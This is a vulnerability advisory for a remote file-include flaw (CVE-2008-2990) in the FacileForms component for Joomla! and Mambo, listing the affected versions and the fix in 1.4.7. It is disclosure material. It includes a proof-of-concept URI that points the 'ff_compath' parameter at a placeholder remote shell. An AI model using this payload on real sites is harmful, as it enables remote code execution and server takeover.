Joomla! and Mambo FacileForms Component 'ff_compath' Parameter Remote File Include Vulnerability

Bugtraq ID:	29904
Class:	Input Validation Error
CVE:	CVE-2008-2990
Remote:	Yes
Local:	No
Published:	Jun 23 2008 12:00AM
Updated:	May 07 2015 05:28PM
Credit:	Dr.Kacak
Vulnerable:	FacileForms FacileForms 1.4.6 FacileForms FacileForms 1.4.5 FacileForms FacileForms 1.4.4
Not Vulnerable:	FacileForms FacileForms 1.4.7

Joomla! and Mambo FacileForms Component 'ff_compath' Parameter Remote File Include Vulnerability

The FacileForms component for Joomla! and Mambo is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying computer; other attacks are also possible.

FacileForms 1.4.4 is vulnerable; other versions may also be affected.

Joomla! and Mambo FacileForms Component 'ff_compath' Parameter Remote File Include Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/path/components/com_facileforms/facileforms.frame.php?ff_compath=[SH3LL]

Joomla! and Mambo FacileForms Component 'ff_compath' Parameter Remote File Include Vulnerability

Solution:
The vendor released FacileForms 1.4.7 to address this issue. Please see the references for more information.

Joomla! and Mambo FacileForms Component 'ff_compath' Parameter Remote File Include Vulnerability

References:

• FacileForms 1.4.7 Security Release (FacileForms)
  
• FacileForms Homepage (FacileForms)
  
• Mambo Homepage (Mambo)